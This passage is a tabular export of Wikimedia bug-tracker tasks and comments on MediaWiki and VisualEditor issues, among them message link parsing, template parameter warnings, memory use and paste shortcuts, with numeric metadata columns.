+235506,"""MediaWiki:Editing"" notice did not parse  a link when tried so","The issue in comment 0 was about a link not being parsed and instead [[]] is literally shown. My confusion probably arised from the fact that you had changed https://mr.wikipedia.org/w/index.php?title=मिडियाविकी:Editing already, so I asked how to see this problem myself and to provide steps.
+
+MediaWiki:Editing neither exists on en.wp or fr.wp and was removed in 2007.
+
+As the issue was originally about https://mr.wikipedia.org/w/index.php?title=%E0%A4%AE%E0%A4%BF%E0%A4%A1%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A5%80%3AEditing&diff=1200554&oldid=44085 which is totally wrong HTML I don't see any valid bug reported here.
+
+If the problem still happens with *valid* HTML, please reopen this bug report and link to the revision of MediaWiki:Editing that shows the problem. Thanks.",,,1379943675,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,True,,,12,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+235500,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Created attachment 13341
+additional example of message MediaWiki:Editing
+
+(In reply to comment #3)
+
+Additional example of how MediaWiki message MediaWiki:Editing works.
+
+**Attached**: {F11189}",,,1379766935,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+235493,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Created attachment 13340
+MediaWiki:Editing example en wikipedia
+
+(In reply to comment #3)
+
+Which language you used for The Tokyo article ? Here is an example from eglish wikipedia
+
+**Attached**: {F11188}",,,1379766277,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+235488,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Created attachment 13332
+Editing The Tokyo article
+
+(In reply to comment #2)
+> *[[MediaWiki:Editing]] message (Current text:Editing $1) is visible at the
+> top of every wiki page when you  are editing any wiki page.
+
+No, not for me.
+
+**Attached**: {F11187}",,,1379686080,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,True,,,11,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+235485,"""MediaWiki:Editing"" notice did not parse  a link when tried so","(In reply to comment #1)
+> How to see what's on the screenshot? This is missing steps... 
+
+*[[MediaWiki:Editing]] message (Current text:Editing $1) is visible at the top of every wiki page when you  are editing any wiki page.
+
+* So the given screen shot will be visible on all wiki pages while editing if you save the given edit diff https://mr.wikipedia.org/w/index.php?title=मिडियाविकी%3AEditing&diff=1200554&oldid=44085 on any test wiki
+
+
+** (My impression is MediaWiki messages work simmiller to Templates. If template:ABC is having internal link [[PQR]] and template:ABC is included in Template:XYZ usually internal link [[PQR]] of template:ABC will parse through Template:XYZ , What I suppose/doubt is,  If MediaWiki:ABC has internal link  [[PQR]] and MediaWiki:ABC is getting included in MediaWiki:XYZ unlike templates MediaWiki messages are not parsing internal link of another MediaWiki message.That is my pure guess you(Developers) are the right people to inform what is supposed to be expected behaviour for MediaWiki messages,and the reported behaviour is matching with expected behaviour or not)
+
+
+Also, 
+>    <small><small><small /><small /> 
+> does not look like valid HTML to me.
+
+*https://mr.wikipedia.org/w/index.php?title=%E0%A4%AE%E0%A4%BF%E0%A4%A1%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A5%80:Sitenotice&diff=prev&oldid=1201270 It is the same text parsing through the internal links in different MediaWiki message.
+
+HTML may be having minor issue on layout side but parsing of internal link is different issue I suppose.
+
+Rgds",,,1379606319,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1
+235482,"""MediaWiki:Editing"" notice did not parse  a link when tried so","How to see what's on the screenshot? This is missing steps... Also, 
+   <small><small><small /><small /> 
+does not look like valid HTML to me.",,,1379340953,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,0,0,1
+56094,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist","If adding w:cs:template:commonscat, it might be confusing for newbies even for older wikipadians to set parameters. As in this case parameters or numbers, but VE sais that such parameters are unknown.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50735",Low,25.0,1379064360,1381342230.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-qyjx6fdbrrh3weriir7z,task_description,resolved,True,c1,3,False,False,False,10,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+258026,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist","Merging with bug 50735.
+
+*** This bug has been marked as a duplicate of bug 50735 ***",,,1381342230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyjx6fdbrrh3weriir7z,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+258022,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist","If I can paraphrase Juan's bug report, ..
+
+In the transclusion dialog, template 'add parameter' screen, for a template without templatedata (such as cs:wp template commonscat),...
+
+Dont say 'Unknown parameter'.
+
+If there is no templatedata, VE doesnt know about any parameters, so it should not offer warnings that are essentially bogus when it is given a parameter name.  The user cant use this 'Unknown parameter' information, so it is scary.  Further to that, VE _does_ know that numeric parameters names (like '1', '2', etc) are valid parameter name, so warning 'Unknown parameter' is false in that case.
+
+Juan, if you want to add templatedata to that template, see https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/TemplateData  and
+https://en.wikipedia.org/w/index.php?title=Template:Commons_category/doc&action=edit
+
+The VE UI for templates without templatedata needs a usability overhaul. Some simple suggestions to improve usability while keeping the current UI structure:
+1. say 'This template does not have VE compatible parameter data', and link to the relevant template:blah page
+2. dont say 'No unused parameters' because that message is also misleading
+3. Instead of 'Unknown parameter' for '1', say 'parameter number 1' or 'first parameter'
+4. pre-populate the template form with a parameter '1', place the user in the parameter value field, but allow the user to rename the parameter name in the left hand list.
+
+A more difficult suggestion is to rethink the way the numbered parameter UI works.  Putting numbers in a UI, without any explanation, is not intuitive or discoverable.  How does a newbie know to enter '1'?  The template documentation pages usually say to put in {{foo|blah}} ; they dont say {{foo|1=blah}} so the typical user doesnt know about '1'.",,,1380616208,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qyjx6fdbrrh3weriir7z,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+258018,"Transclusion dialog: ""unknown parameter"" is confusing if TemplateData doesnt exist",The steps to reproduce are unclear to me. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug,,,1379323419,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qyjx6fdbrrh3weriir7z,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0
+56051,VisualEditor: Zero width no-break space is added to the end of the article (in a slug) in the editing element (but not the document),"I am trying to run the test at https://gerrit.wikimedia.org/r/#/c/83966/
+
+In the end it is trying to compare the text that was typed with the text that actually appears on the screen. The test fails, because the Zero width no-break space (U+FEFF) character is added to the string that appears on the screen.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1378949100,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-mgmwirwldz45agzrgg3n,task_description,open,True,c1,3,False,False,,10,,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+255142,VisualEditor: Zero width no-break space is added to the end of the article (in a slug) in the editing element (but not the document),Presumably this is ve.ce.BranchNode.$blockSlugTemplate.,,,1406595885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mgmwirwldz45agzrgg3n,task_subcomment,,True,c1,3,True,,,56,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55976,Autocomplete for (local) image names,"It'd be nice if WikiLove had a javascripty autocomplete for image names (at least local ones)
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Low,25.0,1378778340,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-ta7jealrbrncqvj3zzez,task_description,open,True,c1,3,False,False,,10,,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+250667,Autocomplete for (local) image names,"(In reply to comment #1)
+> Any possibility of sharing a UI module with VisualEditor here, rather than
+> having two implementations of a media selection browser?
+
+Works for me. Though, ideally would go into core. WikiLove (optionally) depending on VisualEditor could be a potential problem
+
+MassMessage has a simple similar implementation of this, with based on resources/mediawiki/mediawiki.searchSuggest.js in core",,,1378840970,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ta7jealrbrncqvj3zzez,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+250661,Autocomplete for (local) image names,"Any possibility of sharing a UI module with VisualEditor here, rather than having two implementations of a media selection browser?",,,1378839938,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ta7jealrbrncqvj3zzez,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+55825,Reduce VisualEditor's memory usage,"Editing of large pages can use a significant amount of memory; a spotcheck that Max did on [[United States]] showed an increase of 121MB usage in Chrome while editing the page.
+
+This is a concern for us for mobile in particular, as today's mobile devices have the amount of memory of computers from several years ago -- most have 1GB or 512MB (or even less), which has to house the operating system, background apps, the web browser, and the *entire* article with a richly annotated DOM.
+
+Possible techniques for reducing memory usage were proposed at the VE mobile meeting yesterday:
+
+* Section editing -- if we only have to load up a single section at a time, large pages won't use up nearly as much memory. Note that on mobile we already divide the page up into sections surrounded by <div>s that can be replaced with the editable surface; the other sections on page might not even be open.
+
+* Limit full annotation processing to areas under active editing -- apparently it should be possible to delay some of the HTML processing on sections or even paragraphs that have not yet been edited. This might also save memory, but needs to be looked into.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1378411260,,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-aag3cwflmkojbhxxal5q,task_description,open,True,c1,3,False,False,,9,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+411487,Reduce VisualEditor's memory usage,"This is a high-level tracker bug rather than a blocker; it needs child bugs with more specifics to be nominated as blockers. Consequently, we decided to remove it from the Q3 blockers list at the triage on 2015-02-11.",,,1423879177,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,84,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+410422,Reduce VisualEditor's memory usage,"More specific criteria and numbers are welcome / required here.
+Also, should the ""Epic"" tag be added here?",,,1423743458,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,84,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0
+410136,Reduce VisualEditor's memory usage,">>! In T55825#558826, @brion wrote:
+> Feel free to move this to 'general' and we'll hang some mobile-specific bugs off it that are more directly actionable.
+
+Have any mobile-specific bugs been identified since 09/2013? Adding task numbers is welcome.",,,1423686484,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,84,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1
+241721,Reduce VisualEditor's memory usage,"(In reply to comment #2)
+> Feel free to move this to 'general' and we'll hang some mobile-specific bugs
+> off it that are more directly actionable.
+
+{{Done}}",,,1378416264,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,9,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1
+241716,Reduce VisualEditor's memory usage,Feel free to move this to 'general' and we'll hang some mobile-specific bugs off it that are more directly actionable.,,,1378415457,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0
+241710,Reduce VisualEditor's memory usage,"Not sure this is a Mobile-specific bug, but yes, very important to make progress here. I think there's likely to be some produce trade-offs that are more appropriate for the Mobile than Desktop experience, though, so certainly some of it will be…",,,1378414642,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aag3cwflmkojbhxxal5q,task_subcomment,,True,c1,3,True,,,9,,1,0,1,0,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+55801,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"Users seem to expect that the feedback link will automatically supply information, especially the title of the article they're working on.  I'd also like to have the version number they were actually using (cacheing issues) and a link to the user's contibutions.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: enhancement",Low,25.0,1378397100,,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-dyxvwjhctefty5l6omxi,task_description,open,True,c1,3,False,False,,9,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+240550,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"The core feedback tool is (I think intentionally) very generic. If VE needs additional functionality, it should probably extend it.",,,1383301933,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,True,,,17,,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+240542,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),The feedback tool isn't specific to VisualEditor - moving to the general group for others to see and comment.,,,1383281154,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+240534,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"(In reply to comment #1)
+> Google has a feedback tool for Google+ which lets you ""screenshot"" the page
+> you
+> are on and highlight what you think is wrong. Something like that would be
+> really cool.
+
+That would be good, but possibly a bit more complicated for us. I wrote [[Wikipedia:Screenshots of Wikipedia]] to help people include screenshots in on-wiki bug reports, so linking prominently to that would be a very easy first step.",,,1380546133,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,False,,,13,,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+240530,[mediawiki.feedback.js] Provide a link to the article (and maybe the user's contributions),"Google has a feedback tool for Google+ which lets you ""screenshot"" the page you are on and highlight what you think is wrong. Something like that would be really cool.",,,1378408265,,PHID-USER-bug3zrlooz3bdmi4fyl7,True,,,PHID-TASK-dyxvwjhctefty5l6omxi,task_subcomment,,True,c1,3,False,,,9,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+55781,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","Right now external paste always writes the clipboard as formatted; in some cases, users will want to ""Paste Unformatted"".
+
+On Mac, there's a standard shortcut for this of Cmd+Shift+V - I'm assuming that Ctrl+Shift+V would be sensible as well.
+
+Would we also need a button? What about for the other standard 3 (Cut/Copy/Paste)?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1378335600,1385505229.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-2uz6thdqdeegj4cxnbup,task_description,resolved,True,c1,3,True,False,False,9,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+239549,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","Change 88224 merged by jenkins-bot:
+Plain text paste with paste special
+
+https://gerrit.wikimedia.org/r/88224",,,1385500068,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239542,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","Change 88224 had a related patch set uploaded by Esanders:
+Plain text paste with paste special
+
+https://gerrit.wikimedia.org/r/88224",,,1381178929,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239536,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","(In reply to comment #1)
+> ctrl+shift+v in Open Office is ""paste special"", which gives lots of
+> non-default
+> options so it doesn't seem out of line. Not sure a separate button is needed
+> but if button=shortcut then shift+button should = shift+shortcut
+
+We don't need a button to have a shortcut (but we do for users without a keyboard, or with a limited keyboard that can't do shortcuts, like tablet users).
+
+> In general I think its best to cut/copy richly to the clipboard and let the
+> target deal with the formatting. I don't know whether this view is common or
+> uncommon though,
+
+I agree personally, but people have asked for it a few times and it's a not-hard change for us to make when pasting from the clipboard.",,,1378337286,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,True,,,9,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+239531,"VisualEditor: Insert external pasted content as ""unformatted"" if Ctrl+/Cmd+Shift+V rather than Ctrl+/Cmd+V trigger","ctrl+shift+v in Open Office is ""paste special"", which gives lots of non-default options so it doesn't seem out of line. Not sure a separate button is needed but if button=shortcut then shift+button should = shift+shortcut
+
+In general I think its best to cut/copy richly to the clipboard and let the target deal with the formatting. I don't know whether this view is common or uncommon though,",,,1378336500,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-2uz6thdqdeegj4cxnbup,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0
+55713,"VisualEditor: On opening a reference which includes a single template and nothing else, also open that template's dialog","When you open an existing reference in VE that only consists of one template the main use case should be that you want to edit that template. But now you need to first select it and then klick on the puzzle piece.
+
+Instead I suggest that in that case, you get forwarded to the template editor directly after choosing to open the reference editor without having to do it manually.
+
+--------------------------
+**Version**: unspecified
